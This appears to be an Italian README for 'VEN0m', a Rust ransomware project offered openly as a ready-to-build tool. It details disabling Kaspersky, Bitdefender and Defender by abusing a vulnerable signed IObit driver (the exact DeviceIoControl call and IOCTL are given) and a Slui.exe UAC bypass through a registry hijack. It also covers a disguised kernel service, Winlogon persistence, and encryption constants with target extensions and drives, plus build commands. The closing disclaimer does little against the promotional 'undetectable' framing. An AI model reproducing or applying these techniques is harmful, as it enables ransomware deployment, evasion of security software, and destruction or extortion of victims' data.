
Ransomware completamente non rilevabile ed evasivo scritto in Rust, che sfrutta una tecnica BYOVD per disabilitare le soluzioni AV/EDR sui sistemi infetti.
https://github.com/user-attachments/assets/5a1fc9b5-a647-41f6-a152-7b9d97381adc
Questo progetto dimostra come un driver legittimo e firmato possa essere armato per eludere le difese e distribuire un ransomware simulando un vero attacco informatico.
🚨 Testato su Windows 11 Pro 24H2. Completamente non rilevabile a partire dalla data di rilascio iniziale: 02-23-2026.
Evasione Bypass UAC BitDefender ✅ ✅ Kaspersky ✅ ✅ MS Defender ✅ ❌
VEN0m utilizza la classica tecnica BYOVD, ma a differenza di AV-EDR-KILLER, che sfrutta un driver vulnerabile che espone la funzione del kernel ZwTerminateProcess a utenti non privilegiati, sfrutta un driver vulnerabile incluso in IObit Malware Fighter v12.1.0, il che è piuttosto ironico dato che lo usiamo per l'evasione.
Il driver in questione è IMFForceDelete.sys, che espone un IOCTL che consente a utenti non privilegiati di eliminare arbitrariamente file. Questa vulnerabilità è tracciata come CVE-2025-26125 e il driver non è ancora nella blocklist di Microsoft.
Per attivare l'eliminazione arbitraria, invochiamo semplicemente una chiamata API DeviceIoControl con il codice IOCTL 0x8016E000, un lungo puntatore void a una stringa unicode wide che rappresenta il file di destinazione e la lunghezza totale moltiplicata per 2 (poiché wstr_file.len() restituisce il numero di elementi u16 e ogni elemento è 2 byte) convertita come u32 per adattarsi al parametro DWORD della convenzione di chiamata APIC.
> DeviceIoControl(hDriver, 0x8016E000, wstr_file.as_ptr() as LPVOID, (wstr_file.len() * 2) as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
[!NOTE]
+ ❓ Perché AV-EDR-Killer ha fallito contro certi prodotti AV/EDR?
L'idea principale era sfruttare un driver con IOCTL non protetti che espongono la funzione del kernel
ZwTerminateProcess, che concede a qualsiasi applicazione in modalità utente capacità di terminazione a livello kernel. Il punto debole di questa tecnica è che alcuni prodotti AV/EDR hookano la suddetta funzione e possono intercettare le chiamate ad essa.Un'altra tecnica notevole era sfruttare primitive di lettura/scrittura arbitraria di un certo driver vulnerabile per correggere la memoria e saltare a una funzione di terminazione ancora più potente,
PsTerminateProcess, che non è esportata dantoskrnl.exestesso. Anche questo è molto sospetto poiché le difese host scansionano costantemente la memoria. Riferimento : https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/
Semplicemente distruggiamo le cartelle di installazione e gli eseguibili sul disco. Semplice così!
Sembra un punto cieco per la maggior parte dei prodotti di difesa, poiché prendiamo di mira i file sul disco invece di manipolare la memoria o effettuare chiamate sospette. Usando il nostro driver IMFForceDelete.sys, possiamo forzare l'eliminazione di file bloccati con privilegi elevati. Attaccare direttamente un prodotto AV o EDR sembra controintuitivo, poiché gli aggressori solitamente puntano alla furtività per bypassare le difese piuttosto che affrontarle.
Usando questa tecnica, abbiamo corrotto i processi EDR/AV in esecuzione fino a quando non sono stati lentamente rotti e hanno smesso di funzionare correttamente, il che ha aperto la strada per creare caos e distribuire il nostro payload di scelta, VEN0m.
const TARGETS: &[&str] = &[r"C:\Program Files (x86)\Kaspersky Lab", r"C:\Program Files\Bitdefender", r"C:\Program Files\Bitdefender Agent", r"C:\Program Files\Windows Defender",];
Per bypassare i prompt UAC, stiamo dirottando il flusso di esecuzione di un binario Microsoft firmato Slui.exe che supporta l'auto-elevazione senza attivare un prompt quando viene invocato con il verbo runas in un contesto amministrativo.
Lo sfruttamento principale avviene quando Slui.exe tenta di aprire una chiave di registro inesistente sotto HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command. Sfruttiamo questa falla creando la chiave mancante e inserendo DelegateExecute che punta al nostro payload attuale per delegare l'esecuzione. Quindi attiviamo l'esecuzione di Slui.exe con una chiamata API ShellExecuteW con il verbo runas, risultando in un bypass UAC riuscito. Implementazione completa in /src/uac.rs.
[!IMPORTANT] Non sono sicuro se questa sia una vulnerabilità che dovrebbe essere segnalata. In tal caso, non esitare a contattarmi tramite l'email elencata di seguito.
Poiché VEN0m bypassa UAC ed è eseguito con integrità elevata, automatizza l'estrazione del driver incorporato nella cartella temporanea e la creazione di un servizio kernel con nomi camuffati come MicrosoftUpdate11.01. Include controlli molto utili per avviare automaticamente il servizio se fermato o per astenersi dal crearlo se già esistente.
Dopo che le difese dell'host sono state neutralizzate, puoi scegliere qualsiasi tecnica di persistenza desideri.
Ho scelto una semplice tecnica Winlogon Userinit, che sfrutta la chiave di registro Userinit sotto HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. Per impostazione predefinita, questa chiave specifica userinit.exe come valore, che si esegue al login dell'utente per inizializzare l'ambiente utente.
Tuttavia, dirottiamo quella aggiungendo anche il percorso del nostro payload separato da una virgola dal legittimo userinit.exe, mentre rilasciamo anche una copia del malware in %LOCALAPPDATA%.
Il ransomware scansiona le unità specificate per i file con estensioni mirate filtrando contro un elenco di esclusioni. I file corrispondenti vengono crittografati utilizzando una chiave hardcoded di 32 byte e le loro estensioni vengono cambiate in .vnm.
Puoi personalizzare il comportamento modificando le seguenti costanti:
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
const XClUSIONS: &[&str] = &["Windows", "Program Files", "Program Files (x86)", "ProgramData", "$Recycle.Bin", "All Users"];
const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"];
const DRV: &[&str] = &["C:\\", "D:\\", "E:\\", "F:\\"];
Al termine della crittografia, VEN0m cambia lo sfondo del desktop e rilascia una nota di riscatto eseguibile sul desktop. Registra anche un'attività pianificata che viene eseguita ogni paio di minuti per avviare la GUI della nota, che mostra un teschio lampeggiante ☠️.
/assets/wallpaper.jpg con la tua immagine./src/task.rsVEN0m include anche uno strumento di decrittazione Antid0te.exe🧪 che cerca file con estensione .vnm e inverte la routine di crittografia utilizzando la stessa chiave specificata per la crittografia.
[!WARNING] È importante salvare la tua chiave di crittografia in modo da poter decrittare i tuoi file utilizzando il decrittatore Antid0te.exe.
VEN0m è altamente modulare e personalizzabile. Puoi cambiare il comportamento del ransomware modificando le costanti hardcoded. Puoi anche portarlo al livello successivo abbinandolo a una vulnerabilità di escalation dei privilegi o a una tecnica di movimento laterale a tua scelta :)
> cargo build --release --bin Note --features 1
> cargo build --release --bin Antid0te --features 2
> cargo build --release --bin VEN0m
[!CAUTION] Sei responsabile di assicurarti di avere la dovuta autorizzazione prima di utilizzare questo strumento. L'autore non si assume alcuna responsabilità per un uso improprio.
Contributi e suggerimenti sono benvenuti! Se hai richieste commerciali "etiche" o desideri collaborare, non esitare a contattarmi a: [email protected]
Realizzato con ❤️, ispirato da Petya, WannaCry e compagni.
VEN0m è un gatto nero randagio che mi ha influenzato nel mio percorso.